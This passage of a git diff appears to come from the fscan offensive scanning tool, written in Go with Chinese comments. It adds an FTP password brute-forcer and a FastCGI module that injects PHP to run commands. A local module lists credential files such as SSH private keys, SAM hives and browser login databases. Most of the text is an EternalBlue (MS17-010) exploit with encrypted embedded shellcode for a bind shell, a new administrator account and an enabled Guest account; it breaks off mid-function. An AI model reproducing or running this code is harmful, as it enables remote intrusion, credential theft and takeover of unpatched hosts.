PKCS7UnPadding(origData) + if err != nil { + return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err) + } + + return string(origData), nil +} + +// PKCS7Padding 对数据进行PKCS7填充 +func PKCS7Padding(data []byte, blockSize int) []byte { + padding := blockSize - len(data)%blockSize + padtext := bytes.Repeat([]byte{byte(padding)}, padding) + return append(data, padtext...) +} + +// PKCS7UnPadding 去除PKCS7填充 +func PKCS7UnPadding(data []byte) ([]byte, error) { + length := len(data) + if length == 0 { + return nil, errors.New("[-] 数据长度为0") + } + + padding := int(data[length-1]) + if padding > length { + return nil, errors.New("[-] 填充长度无效") + } + + return data[:length-padding], nil +} diff --git a/Plugins/FTP.go b/Plugins/FTP.go new file mode 100644 index 00000000..041999ea --- /dev/null +++ b/Plugins/FTP.go @@ -0,0 +1,92 @@ +package Plugins + +import ( + "fmt" + "github.com/jlaffaye/ftp" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// FtpScan 执行FTP服务扫描 +func FtpScan(info *Common.HostInfo) (tmperr error) { + // 如果已开启暴力破解则直接返回 + if Common.IsBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试匿名登录 + flag, err := FtpConn(info, "anonymous", "") + if flag && err == nil { + return err + } + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) + Common.LogError(errlog) + tmperr = err + if Common.CheckErrs(err) { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["ftp"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := FtpConn(info, user, pass) + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// FtpConn 建立FTP连接并尝试登录 +func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { + Host, Port, Username, Password := info.Host, info.Ports, user, pass + + // 建立FTP连接 + conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second) + if err != nil { + return false, err + } + + // 尝试登录 + if err = conn.Login(Username, Password); err != nil { + return false, err + } + + // 登录成功,获取目录信息 + result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) + dirs, err := conn.List("") + if err == nil && len(dirs) > 0 { + // 最多显示前6个目录 + for i := 0; i < len(dirs) && i < 6; i++ { + name := dirs[i].Name + if len(name) > 50 { + name = name[:50] + } + result += "\n [->]" + name + } + } + + Common.LogSuccess(result) + return true, nil +} diff --git a/Plugins/fcgiscan.go b/Plugins/FcgiScan.go similarity index 73% rename from Plugins/fcgiscan.go rename to Plugins/FcgiScan.go index 11c98414..c01c0648 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/FcgiScan.go @@ -6,7 +6,7 @@ import ( "encoding/binary" "errors" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "io" "strconv" "strings" @@ -18,34 +18,43 @@ import ( //https://xz.aliyun.com/t/9544 //https://github.com/wofeiwo/webcgi-exploits -func FcgiScan(info *common.HostInfo) { - if common.IsBrute { - return +// FcgiScan 执行FastCGI服务器漏洞扫描 +func FcgiScan(info *Common.HostInfo) error { + // 如果设置了暴力破解模式则跳过 + if Common.IsBrute { + return nil } + + // 设置目标URL路径 url := "/etc/issue" - if common.Path != "" { - url = common.Path + if Common.Path != "" { + url = Common.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) + + // 构造PHP命令注入代码 var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" + var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 + switch { - case common.Command == "read": - reqParams = "" - case common.Command != "": - reqParams = "" + case Common.Command == "read": + reqParams = "" // 读取模式 + case Common.Command != "": + reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 default: - reqParams = "" + reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami } - env := make(map[string]string) - - env["SCRIPT_FILENAME"] = url - env["DOCUMENT_ROOT"] = "/" - env["SERVER_SOFTWARE"] = "go / fcgiclient " - env["REMOTE_ADDR"] = "127.0.0.1" - env["SERVER_PROTOCOL"] = "HTTP/1.1" + // 设置FastCGI环境变量 + env := map[string]string{ + "SCRIPT_FILENAME": url, + "DOCUMENT_ROOT": "/", + "SERVER_SOFTWARE": "go / fcgiclient ", + "REMOTE_ADDR": "127.0.0.1", + "SERVER_PROTOCOL": "HTTP/1.1", + } + // 根据请求类型设置对应的环境变量 if len(reqParams) != 0 { env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" @@ -54,61 +63,55 @@ func FcgiScan(info *common.HostInfo) { env["REQUEST_METHOD"] = "GET" } - fcgi, err := New(addr, common.Timeout) + // 建立FastCGI连接 + fcgi, err := New(addr, Common.Timeout) defer func() { if fcgi.rwc != nil { fcgi.rwc.Close() } }() if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } + // 发送FastCGI请求 stdout, stderr, err := fcgi.Request(env, reqParams) if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } - //1 - //Content-type: text/html - // - //uid=1001(www) gid=1001(www) groups=1001(www) - - //2 - //Status: 404 Not Found - //Content-type: text/html - // - //File not found. - //Primary script unknown - - //3 - //Status: 403 Forbidden - //Content-type: text/html - // - //Access denied. - //Access to the script '/etc/passwd' has been denied (see security.limit_extensions) + // 处理响应结果 + output := string(stdout) var result string - var output = string(stdout) - if strings.Contains(output, cutLine) { //命令成功回显 + + if strings.Contains(output, cutLine) { + // 命令执行成功,提取输出结果 output = strings.SplitN(output, cutLine, 2)[0] if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, output) } - common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { + Common.LogSuccess(result) + } else if strings.Contains(output, "File not found") || + strings.Contains(output, "Content-type") || + strings.Contains(output, "Status") { + // 目标存在FastCGI服务但可能路径错误 if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + info.Host, info.Ports, output) } - common.LogSuccess(result) + Common.LogSuccess(result) } + + return nil } // for padding so we don't have to allocate all the time @@ -183,7 +186,7 @@ type FCGIClient struct { } func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) fcgi = &FCGIClient{ rwc: conn, keepAlive: false, diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go new file mode 100644 index 00000000..ef71538b --- /dev/null +++ b/Plugins/FindNet.go @@ -0,0 +1,162 @@ +package Plugins + +import ( + "bytes" + "encoding/hex" + "fmt" + "github.com/shadow1ng/fscan/Common" + "strconv" + "strings" + "time" +) + +var ( + // RPC请求数据包 + bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") + bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") + bufferV3, _ = hex.DecodeString("0900ffff0000") +) + +// Findnet 探测Windows网络主机信息的入口函数 +func Findnet(info *Common.HostInfo) error { + return FindnetScan(info) +} + +// FindnetScan 通过RPC协议扫描网络主机信息 +func FindnetScan(info *Common.HostInfo) error { + // 连接目标RPC端口 + target := fmt.Sprintf("%s:%v", info.Host, 135) + conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) + if err != nil { + return fmt.Errorf("[-] 连接RPC端口失败: %v", err) + } + defer conn.Close() + + // 设置连接超时 + if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return fmt.Errorf("[-] 设置超时失败: %v", err) + } + + // 发送第一个RPC请求 + if _, err = conn.Write(bufferV1); err != nil { + return fmt.Errorf("[-] 发送RPC请求1失败: %v", err) + } + + // 读取响应 + reply := make([]byte, 4096) + if _, err = conn.Read(reply); err != nil { + return fmt.Errorf("[-] 读取RPC响应1失败: %v", err) + } + + // 发送第二个RPC请求 + if _, err = conn.Write(bufferV2); err != nil { + return fmt.Errorf("[-] 发送RPC请求2失败: %v", err) + } + + // 读取并检查响应 + n, err := conn.Read(reply) + if err != nil || n < 42 { + return fmt.Errorf("[-] 读取RPC响应2失败: %v", err) + } + + // 解析响应数据 + text := reply[42:] + found := false + for i := 0; i < len(text)-5; i++ { + if bytes.Equal(text[i:i+6], bufferV3) { + text = text[:i-4] + found = true + break + } + } + + if !found { + fmt.Println("[+] FindNet扫描模块结束...") + return fmt.Errorf("[-] 未找到有效的响应标记") + } + + // 解析主机信息 + return read(text, info.Host) +} + +// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串 +func HexUnicodeStringToString(src string) string { + // 确保输入长度是4的倍数 + if len(src)%4 != 0 { + src += src[:len(src)-len(src)%4] + } + + // 转换为标准Unicode格式 + var sText string + for i := 0; i < len(src); i += 4 { + sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序 + } + + // 解析每个Unicode字符 + unicodeChars := strings.Split(sText, "\\u") + var result string + + for _, char := range unicodeChars { + // 跳过空字符 + if len(char) < 1 { + continue + } + + // 将16进制转换为整数 + codePoint, err := strconv.ParseInt(char, 16, 32) + if err != nil { + return "" + } + + // 转换为实际字符 + result += fmt.Sprintf("%c", codePoint) + } + + return result +} + +// read 解析并显示主机网络信息 +func read(text []byte, host string) error { + // 将原始数据转换为16进制字符串 + encodedStr := hex.EncodeToString(text) + + // 解析主机名 + var hostName string + for i := 0; i < len(encodedStr)-4; i += 4 { + if encodedStr[i:i+4] == "0000" { + break + } + hostName += encodedStr[i : i+4] + } + + // 转换主机名为可读字符串 + name := HexUnicodeStringToString(hostName) + + // 解析网络信息 + netInfo := strings.Replace(encodedStr, "0700", "", -1) + hosts := strings.Split(netInfo, "000000") + hosts = hosts[1:] // 跳过第一个空元素 + + // 构造输出结果 + result := fmt.Sprintf("[*] NetInfo\n[*] %s", host) + if name != "" { + result += fmt.Sprintf("\n [->] %s", name) + } + + // 解析每个网络主机信息 + for _, h := range hosts { + // 移除填充字节 + h = strings.Replace(h, "00", "", -1) + + // 解码主机信息 + hostInfo, err := hex.DecodeString(h) + if err != nil { + return fmt.Errorf("[-] 解码主机信息失败: %v", err) + } + result += fmt.Sprintf("\n [->] %s", string(hostInfo)) + } + + // 输出结果 + Common.LogSuccess(result) + return nil +} diff --git a/Plugins/LocalInfo.go b/Plugins/LocalInfo.go new file mode 100644 index 00000000..9e57df8d --- /dev/null +++ b/Plugins/LocalInfo.go @@ -0,0 +1,213 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "os" + "path/filepath" + "runtime" + "strings" +) + +var ( + blacklist = []string{ + ".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin", + ".dat", ".manifest", "locale", "winsxs", "windows\\sys", + } + + whitelist = []string{ + "密码", "账号", "账户", "配置", "服务器", + "数据库", "备忘", "常用", "通讯录", + } + + // Linux系统关键配置文件 + linuxSystemPaths = []string{ + // Apache配置 + "/etc/apache/httpd.conf", + "/etc/httpd/conf/httpd.conf", + "/etc/httpd/httpd.conf", + "/usr/local/apache/conf/httpd.conf", + "/home/httpd/conf/httpd.conf", + "/usr/local/apache2/conf/httpd.conf", + "/usr/local/httpd/conf/httpd.conf", + "/etc/apache2/sites-available/000-default.conf", + "/etc/apache2/sites-enabled/*", + "/etc/apache2/sites-available/*", + "/etc/apache2/apache2.conf", + + // Nginx配置 + "/etc/nginx/nginx.conf", + "/etc/nginx/conf.d/nginx.conf", + + // 系统配置文件 + "/etc/hosts.deny", + "/etc/bashrc", + "/etc/issue", + "/etc/issue.net", + "/etc/ssh/ssh_config", + "/etc/termcap", + "/etc/xinetd.d/*", + "/etc/mtab", + "/etc/vsftpd/vsftpd.conf", + "/etc/xinetd.conf", + "/etc/protocols", + "/etc/logrotate.conf", + "/etc/ld.so.conf", + "/etc/resolv.conf", + "/etc/sysconfig/network", + "/etc/sendmail.cf", + "/etc/sendmail.cw", + + // proc信息 + "/proc/mounts", + "/proc/cpuinfo", + "/proc/meminfo", + "/proc/self/environ", + "/proc/1/cmdline", + "/proc/1/mountinfo", + "/proc/1/fd/*", + "/proc/1/exe", + "/proc/config.gz", + + // 用户配置文件 + "/root/.ssh/authorized_keys", + "/root/.ssh/id_rsa", + "/root/.ssh/id_rsa.keystore", + "/root/.ssh/id_rsa.pub", + "/root/.ssh/known_hosts", + "/root/.bash_history", + "/root/.mysql_history", + } + + // Windows系统关键配置文件 + windowsSystemPaths = []string{ + "C:\\boot.ini", + "C:\\windows\\systems32\\inetsrv\\MetaBase.xml", + "C:\\windows\\repair\\sam", + "C:\\windows\\system32\\config\\sam", + } +) + +func LocalInfoScan(info *Common.HostInfo) (err error) { + fmt.Println("[+] LocalInfo扫描模块开始...") + home, err := os.UserHomeDir() + if err != nil { + errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) + Common.LogError(errlog) + return err + } + + // 扫描固定位置 + scanFixedLocations(home) + + // 规则搜索 + searchSensitiveFiles() + + fmt.Println("[+] LocalInfo扫描模块结束...") + return nil +} + +func scanFixedLocations(home string) { + var paths []string + + switch runtime.GOOS { + case "windows": + // 添加Windows固定路径 + paths = append(paths, windowsSystemPaths...) + paths = append(paths, []string{ + filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), + filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"), + filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), + filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), + }...) + + case "linux": + // 添加Linux固定路径 + paths = append(paths, linuxSystemPaths...) + paths = append(paths, []string{ + filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"), + filepath.Join(home, ".mozilla", "firefox"), + }...) + } + + for _, path := range paths { + // 处理通配符路径 + if strings.Contains(path, "*") { + var _ = strings.ReplaceAll(path, "*", "") + if files, err := filepath.Glob(path); err == nil { + for _, file := range files { + checkAndLogFile(file) + } + } + continue + } + + checkAndLogFile(path) + } +} + +func checkAndLogFile(path string) { + if _, err := os.Stat(path); err == nil { + result := fmt.Sprintf("[+] Found sensitive file: %s", path) + Common.LogSuccess(result) + } +} + +func searchSensitiveFiles() { + var searchPaths []string + + switch runtime.GOOS { + case "windows": + // Windows下常见的敏感目录 + home, _ := os.UserHomeDir() + searchPaths = []string{ + "C:\\Users\\Public\\Documents", + "C:\\Users\\Public\\Desktop", + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + "C:\\Program Files", + "C:\\Program Files (x86)", + } + case "linux": + // Linux下常见的敏感目录 + home, _ := os.UserHomeDir() + searchPaths = []string{ + "/home", + "/opt", + "/usr/local", + "/var/www", + "/var/log", + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + } + + // 在限定目录下搜索 + for _, searchPath := range searchPaths { + filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + + // 跳过黑名单目录和文件 + for _, black := range blacklist { + if strings.Contains(strings.ToLower(path), black) { + return filepath.SkipDir + } + } + + // 检查白名单关键词 + for _, white := range whitelist { + fileName := strings.ToLower(info.Name()) + if strings.Contains(fileName, white) { + result := fmt.Sprintf("[+] Found potential sensitive file: %s", path) + Common.LogSuccess(result) + break + } + } + return nil + }) + } +} diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go new file mode 100644 index 00000000..c88d3847 --- /dev/null +++ b/Plugins/MS17010-Exp.go @@ -0,0 +1,1422 @@ +package Plugins + +import ( + "bytes" + "encoding/binary" + "encoding/hex" + "fmt" + "github.com/shadow1ng/fscan/Common" + "io" + "io/ioutil" + "net" + "strings" + "time" +) + +// MS17010EXP 执行MS17-010漏洞利用 +func MS17010EXP(info *Common.HostInfo) { + address := info.Host + ":445" + var sc string + + // 根据不同类型选择shellcode + switch Common.SC { + case "bind": + // msfvenom生成的Bind Shell, 监听64531端口 + sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err)) + return + } + + case "cs": + // Cobalt Strike生成的shellcode + sc = "" + + case "add": + // 添加系统管理员账户并配置远程访问 + sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err)) + return + } + + case "guest": + // 激活Guest账户并配置远程访问 + sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" + var err error + sc, err = AesDecrypt(sc_enc, key) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err)) + return + } + + default: + // 从文件读取或直接使用提供的shellcode + if strings.Contains(Common.SC, "file:") { + read, err := ioutil.ReadFile(Common.SC[5:]) + if err != nil { + Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.SC, err)) + return + } + sc = fmt.Sprintf("%x", read) + } else { + sc = Common.SC + } + } + + // 验证shellcode有效性 + if len(sc) < 20 { + fmt.Println("[-] 无效的Shellcode") + return + } + + // 解码shellcode + sc1, err := hex.DecodeString(sc) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err)) + return + } + + // 执行EternalBlue漏洞利用 + err = eternalBlue(address, 12, 12, sc1) + if err != nil { + Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err)) + return + } + + Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host)) +} + +// eternalBlue 执行EternalBlue漏洞利用 +func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { + // 检查shellcode大小 + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 + scLen := len(sc) + if scLen > maxscSize { + return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)", + scLen, maxscSize, scLen-maxscSize) + } + + // 构造内核用户空间payload + payload := makeKernelUserPayload(sc) + + // 多次尝试利用 + var ( + grooms int + err error + ) + for i := 0; i < maxAttempts; i++ { + grooms = initialGrooms + 5*i + if err = exploit(address, grooms, payload); err == nil { + return nil // 利用成功 + } + } + + return err // 返回最后一次尝试的错误 +} + +// exploit 执行EternalBlue漏洞利用核心逻辑 +func exploit(address string, grooms int, payload []byte) error { + // 建立SMB1匿名IPC连接 + header, conn, err := smb1AnonymousConnectIPC(address) + if err != nil { + return fmt.Errorf("[-] 建立SMB连接失败: %v", err) + } + defer func() { _ = conn.Close() }() + + // 发送SMB1大缓冲区数据 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) + } + if err = smb1LargeBuffer(conn, header); err != nil { + return fmt.Errorf("[-] 发送大缓冲区失败: %v", err) + } + + // 初始化内存喷射线程 + fhsConn, err := smb1FreeHole(address, true) + if err != nil { + return fmt.Errorf("[-] 初始化内存喷射失败: %v", err) + } + defer func() { _ = fhsConn.Close() }() + + // 第一轮内存喷射 + groomConns, err := smb2Grooms(address, grooms) + if err != nil { + return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err) + } + + // 释放内存并执行第二轮喷射 + fhfConn, err := smb1FreeHole(address, false) + if err != nil { + return fmt.Errorf("[-] 释放内存失败: %v", err) + } + _ = fhsConn.Close() + + // 执行第二轮内存喷射 + groomConns2, err := smb2Grooms(address, 6) + if err != nil { + return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err) + } + _ = fhfConn.Close() + + // 合并所有喷射连接 + groomConns = append(groomConns, groomConns2...) + defer func() { + for _, conn := range groomConns { + _ = conn.Close() + } + }() + + // 